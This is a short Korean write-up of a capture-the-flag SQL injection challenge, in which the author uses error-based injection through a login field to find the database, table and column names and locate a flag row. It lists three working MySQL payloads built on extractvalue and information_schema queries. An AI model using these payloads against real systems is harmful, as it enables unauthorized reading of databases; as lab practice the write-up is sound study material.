
계정이 하나 주어지고... 뭔가 불안하다.

로그인을 정상적으로 잘 되는 것 같다. 조건문을 사용해 로그인해도 정상적으로 잘 된다.

에러가 화면에 출력되는 것으로 보아 이전 문제와 같이 Error Based SQL Injection을 사용할 수 있을 것 같다.

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
database 이름을 찾아냈다 다음으로 table!

normaltic' and extractvalue('1', concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli_2_2' limit 0,1))) and '1'='1
group_concat 함수 사용 시 두 개의 table이 나오는 걸 볼 수 있다. 의심스러운 flagTable_this를 확인해 보자!

normaltic' and extractvalue('1', concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name = 'flagTable_this' limit 0,1))) and '1'='1
flag column의 데이터를 확인해 보자!


첫 번째 row랑 두 번째 row를 확인해 봤지만 flag 값은 나오지 않았다..

count 함수로 확인 결과 총 17개의 데이터가 있는 것 같다.. 인내심을 가지고 찾아보자..
- hello
- what are you looking for?
- hahahahaha
- Funnnyyyyyyy
- hahahahaha
- Funnnyyyyyyy
- gogogo
- moremoremoremore
- I will not give you flag
- Get Away
- kkkkkkk
- -_-
- breeeeeg
- {FLAG}
- kakakakakaka
- i gave you flag
- go home

확인 결과 flag는 14번째 row에 있었다!